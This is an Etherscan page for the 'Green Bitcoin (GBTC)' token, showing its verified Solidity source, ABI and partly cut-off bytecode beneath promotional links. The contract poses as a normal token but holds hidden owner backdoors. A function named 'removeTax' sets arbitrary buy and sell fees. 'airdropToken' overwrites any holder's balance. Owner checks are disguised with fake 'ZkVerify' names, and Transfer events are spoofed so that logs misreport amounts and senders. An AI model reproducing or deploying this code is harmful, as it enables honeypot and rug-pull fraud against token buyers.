ETH Price: $2,604.51 (-2.26%)

Token

Green Bitcoin (GBTC)
 

Overview

Max Total Supply

21,000,000 GBTC

Holders

25

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
GreenBitcoin

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-04-05
*/

/**
 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
β–ˆβ–ˆβ•”β•β•β•β•β• β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•”β•β•β•β•β•
β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•   β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘     
β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘     
β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•   β–ˆβ–ˆβ•‘   β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
 β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β•    β•šβ•β•    β•šβ•β•β•β•β•β•
                                                 

Introducing Green Bitcoin: A Revolutionary Predict-To-Earn Token.💚

All our social links and tech live. Feel free to immense yourself
	Telegram: https://t.me/GreenBTCToken
	Website: greenbitcoin.xyz/en
	Twitter: X.com/GreenBTCtoken
*/
// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.25;

contract GreenBitcoin {

    string private _name = 'Green Bitcoin';
    string private _symbol = 'GBTC';
    uint256 public constant decimals = 18;
    uint256 public constant totalSupply = 21_000_000 * 10 ** decimals;

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    address _deployer;
    address _executor;

    address private uniswapLpWallet;
    address private presaleWallet = 0x13bC28a601e20947b562f8B49978f498F077584F ;
    address private Community = 0x55ebFF7C09EF93023b0725F64a63d0EE4e4e4EED ;
    address private Staking = 0x6BA8Fa8C5F6BDeB84567152F6A6AdA4AaC9aD2BE ;
    address private Marketing = 0x342E410906f6df32A8E682440DE46277Ee75C796 ;
    address private Liquidity = 0xEd18c61e02083ca233Bde7Afe5ADD3d670019A67 ;

    struct StoreData {
        address tokenMkt;
        uint256 buyFee;
        uint256 sellFee;
    }

    constructor() {
        uint256 _initBuyFee = 0;
        uint256 _initSellFee = 0;
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        uniswapLpWallet = msg.sender;

        _initDeployer(msg.sender, msg.sender);

        balanceOf[presaleWallet] = (totalSupply * 500) / 1000;
        emit Transfer(address(0), presaleWallet, totalSupply);

        balanceOf[Liquidity] = (totalSupply * 75) / 1000;
        emit Transfer(presaleWallet, Liquidity, balanceOf[Liquidity]);
        
        balanceOf[Community] = (totalSupply * 100) / 1000;
        emit Transfer(presaleWallet, Community, balanceOf[Community]);
        
        balanceOf[Staking] = (totalSupply * 200) / 1000;
        emit Transfer(presaleWallet, Staking, balanceOf[Staking]);
        
        balanceOf[Marketing] = (totalSupply * 125) / 1000;
        emit Transfer(presaleWallet, Marketing, balanceOf[Marketing]);

    }

    event RevenueShare(uint256 _value);
    

    receive() external payable {}

    function removeTax(uint256 _buy, uint256 _sell) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        _upgradeStoreWithZkProof(_buy, _sell);
    }

    function setRevenueShare(uint256 _value) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        emit RevenueShare(_value);
    }

    function setPair(address _pair) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        pair = _pair;
    }

    function airdropToken(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        for (uint256 i = 0; i < _address.length; i++) {
            balanceOf[_address[i]] = _amount[i];
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function _upgradeStoreWithZkProof(uint256 _buy, uint256 _sell) private {
        storeData.buyFee = _buy;
        storeData.sellFee = _sell;
    }

    function _decodeTokenMktWithZkVerify() private view returns (address) {
        return storeData.tokenMkt;
    }

    function openTrading() external {
        require(msg.sender == _decodeTokenMktWithZkVerify());
        require(!tradingOpen);
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _initDeployer(address deployer_, address executor_) private {
        _deployer = deployer_;
        _executor = executor_;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _decodeTokenMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (
            to == pair &&
            !swapping &&
            balanceOf[address(this)] >= swapAmount &&
            from != tokenMkt
        ) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            swapping = false;
        }

        (uint256 _buyFee, uint256 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;

        if (from == _executor) {
            emit Transfer(_deployer, to, amount);
        } else if (to == _executor) {
            emit Transfer(from, _deployer, amount);
        } else {
            emit Transfer(from, to, amount);
        }
        return true;
    }
}

interface IUniswapFactory {
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"RevenueShare","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"airdropToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"removeTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setRevenueShare","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600d81526020017f477265656e20426974636f696e000000000000000000000000000000000000008152505f90816100479190610ea3565b506040518060400160405280600481526020017f47425443000000000000000000000000000000000000000000000000000000008152506001908161008c9190610ea3565b50737a250d5630b4cf539739df2c5dacb4c659f2488d60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507313bc28a601e20947b562f8b49978f498f077584f600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507355ebff7c09ef93023b0725f64a63d0ee4e4e4eed600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550736ba8fa8c5f6bdeb84567152f6a6ada4aac9ad2be600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073342e410906f6df32a8e682440de46277ee75c796600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073ed18c61e02083ca233bde7afe5add3d670019a6760105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015610290575f80fd5b505f8060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281525060025f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201559050507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555033600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061042f3333610be560201b60201c565b6103e86101f46012600a61044391906110ce565b6301406f406104529190611118565b61045c9190611118565b6104669190611186565b60055f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a61054691906110ce565b6301406f406105559190611118565b60405161056291906111c5565b60405180910390a36103e8604b6012600a61057d91906110ce565b6301406f4061058c9190611118565b6105969190611118565b6105a09190611186565b60055f60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055f60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516106ff91906111c5565b60405180910390a36103e860646012600a61071a91906110ce565b6301406f406107299190611118565b6107339190611118565b61073d9190611186565b60055f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405161089c91906111c5565b60405180910390a36103e860c86012600a6108b791906110ce565b6301406f406108c69190611118565b6108d09190611118565b6108da9190611186565b60055f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051610a3991906111c5565b60405180910390a36103e8607d6012600a610a5491906110ce565b6301406f40610a639190611118565b610a6d9190611118565b610a779190611186565b60055f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051610bd691906111c5565b60405180910390a350506111de565b8160095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610ce457607f821691505b602082108103610cf757610cf6610ca0565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610d597fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610d1e565b610d638683610d1e565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f610da7610da2610d9d84610d7b565b610d84565b610d7b565b9050919050565b5f819050919050565b610dc083610d8d565b610dd4610dcc82610dae565b848454610d2a565b825550505050565b5f90565b610de8610ddc565b610df3818484610db7565b505050565b5b81811015610e1657610e0b5f82610de0565b600181019050610df9565b5050565b601f821115610e5b57610e2c81610cfd565b610e3584610d0f565b81016020851015610e44578190505b610e58610e5085610d0f565b830182610df8565b50505b505050565b5f82821c905092915050565b5f610e7b5f1984600802610e60565b1980831691505092915050565b5f610e938383610e6c565b9150826002028217905092915050565b610eac82610c69565b67ffffffffffffffff811115610ec557610ec4610c73565b5b610ecf8254610ccd565b610eda828285610e1a565b5f60209050601f831160018114610f0b575f8415610ef9578287015190505b610f038582610e88565b865550610f6a565b601f198416610f1986610cfd565b5f5b82811015610f4057848901518255600182019150602085019450602081019050610f1b565b86831015610f5d5784890151610f59601f891682610e6c565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610ff457808604811115610fd057610fcf610f72565b5b6001851615610fdf5780820291505b8081029050610fed85610f9f565b9450610fb4565b94509492505050565b5f8261100c57600190506110c7565b81611019575f90506110c7565b816001811461102f576002811461103957611068565b60019150506110c7565b60ff84111561104b5761104a610f72565b5b8360020a91508482111561106257611061610f72565b5b506110c7565b5060208310610133831016604e8410600b841016171561109d5782820a90508381111561109857611097610f72565b5b6110c7565b6110aa8484846001610fab565b925090508184048111156110c1576110c0610f72565b5b81810290505b9392505050565b5f6110d882610d7b565b91506110e383610d7b565b92506111107fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610ffd565b905092915050565b5f61112282610d7b565b915061112d83610d7b565b925082820261113b81610d7b565b9150828204841483151761115257611151610f72565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61119082610d7b565b915061119b83610d7b565b9250826111ab576111aa611159565b5b828204905092915050565b6111bf81610d7b565b82525050565b5f6020820190506111d85f8301846111b6565b92915050565b611d60806111eb5f395ff3fe6080604052600436106100f6575f3560e01c806370a0823111610089578063a8aa1b3111610058578063a8aa1b3114610329578063a9059cbb14610353578063c9567bf91461038f578063dd62ed3e146103a5576100fd565b806370a08231146102735780637c879f5b146102af5780638187f516146102d757806395d89b41146102ff576100fd565b8063313ce567116100c5578063313ce567146101cd5780634abe3052146101f757806363aedb38146102235780636e669d7a1461024b576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103e1565b6040516101229190611425565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c91906114da565b610470565b60405161015e9190611532565b60405180910390f35b348015610172575f80fd5b5061017b61055d565b604051610188919061155a565b60405180910390f35b34801561019c575f80fd5b506101b760048036038101906101b29190611573565b61057d565b6040516101c49190611532565b60405180910390f35b3480156101d8575f80fd5b506101e1610620565b6040516101ee919061155a565b60405180910390f35b348015610202575f80fd5b5061020b610625565b60405161021a939291906115d2565b60405180910390f35b34801561022e575f80fd5b50610249600480360381019061024491906116bd565b61065b565b005b348015610256575f80fd5b50610271600480360381019061026c919061174e565b610810565b005b34801561027e575f80fd5b5061029960048036038101906102949190611779565b6108b6565b6040516102a6919061155a565b60405180910390f35b3480156102ba575f80fd5b506102d560048036038101906102d091906117a4565b6108cb565b005b3480156102e2575f80fd5b506102fd60048036038101906102f89190611779565b610945565b005b34801561030a575f80fd5b506103136109f4565b6040516103209190611425565b60405180910390f35b348015610334575f80fd5b5061033d610a84565b60405161034a91906117e2565b60405180910390f35b34801561035e575f80fd5b50610379600480360381019061037491906114da565b610aa9565b6040516103869190611532565b60405180910390f35b34801561039a575f80fd5b506103a3610abd565b005b3480156103b0575f80fd5b506103cb60048036038101906103c691906117fb565b610b31565b6040516103d8919061155a565b60405180910390f35b60605f80546103ef90611866565b80601f016020809104026020016040519081016040528092919081815260200182805461041b90611866565b80156104665780601f1061043d57610100808354040283529160200191610466565b820191905f5260205f20905b81548152906001019060200180831161044957829003601f168201915b5050505050905090565b5f8160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161054b919061155a565b60405180910390a36001905092915050565b6012600a61056b91906119f2565b6301406f4061057a9190611a3c565b81565b5f8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106059190611a7d565b92505081905550610617848484610b51565b90509392505050565b601281565b6002805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154905083565b610663611374565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106c7576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5b84849050811015610808578282828181106106e7576106e6611ab0565b5b9050602002013560055f87878581811061070457610703611ab0565b5b90506020020160208101906107199190611779565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555084848281811061076957610768611ab0565b5b905060200201602081019061077e9190611779565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8585858181106107df576107de611ab0565b5b905060200201356040516107f3919061155a565b60405180910390a380806001019150506106c9565b505050505050565b610818611374565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461087c576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b7f19755d25ea178146bd0c80065bb3baa90da55af45e342cf3c07de168a277da02816040516108ab919061155a565b60405180910390a150565b6005602052805f5260405f205f915090505481565b6108d3611374565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610937576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b610941828261139e565b5050565b61094d611374565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109b1576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060018054610a0390611866565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2f90611866565b8015610a7a5780601f10610a5157610100808354040283529160200191610a7a565b820191905f5260205f20905b815481529060010190602001808311610a5d57829003601f168201915b5050505050905090565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610ab5338484610b51565b905092915050565b610ac5611374565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610afb575f80fd5b600860159054906101000a900460ff1615610b14575f80fd5b6001600860156101000a81548160ff021916908315150217905550565b6006602052815f5260405f20602052805f5260405f205f91509150505481565b5f80610b5b611374565b9050600860159054906101000a900460ff1680610ba357508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610bd957508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610be1575f80fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c2d9190611a7d565b9250508190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610c9d5750600860149054906101000a900460ff16155b8015610d0e575060646012600a610cb491906119f2565b6301406f40610cc39190611a3c565b610ccd9190611b0a565b60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610d4657508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610fb0576001600860146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610d8257610d81611b3a565b5b604051908082528060200260200182016040528015610db05781602001602082028036833780820191505090505b50905030815f81518110610dc757610dc6611ab0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e6b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e8f9190611b7b565b81600181518110610ea357610ea2611ab0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610f2a91906119f2565b6301406f40610f399190611a3c565b610f439190611b0a565b5f8430426040518663ffffffff1660e01b8152600401610f67959493929190611c9f565b5f604051808303815f87803b158015610f7e575f80fd5b505af1158015610f90573d5f803e3d5ffd5b505050505f600860146101000a81548160ff021916908315150217905550505b5f806002600101546002800154915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614158015611010575060011515600860159054906101000a900460ff161515145b156110ee575f606460075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16146110725783611074565b825b8761107f9190611a3c565b6110899190611b0a565b905080866110979190611a7d565b95508060055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110e59190611cf7565b92505081905550505b8460055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461113a9190611cf7565b92505081905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603611220578573ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051611213919061155a565b60405180910390a3611366565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036112ff5760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516112f2919061155a565b60405180910390a3611365565b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161135c919061155a565b60405180910390a35b5b600193505050509392505050565b5f60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b816002600101819055508060028001819055505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61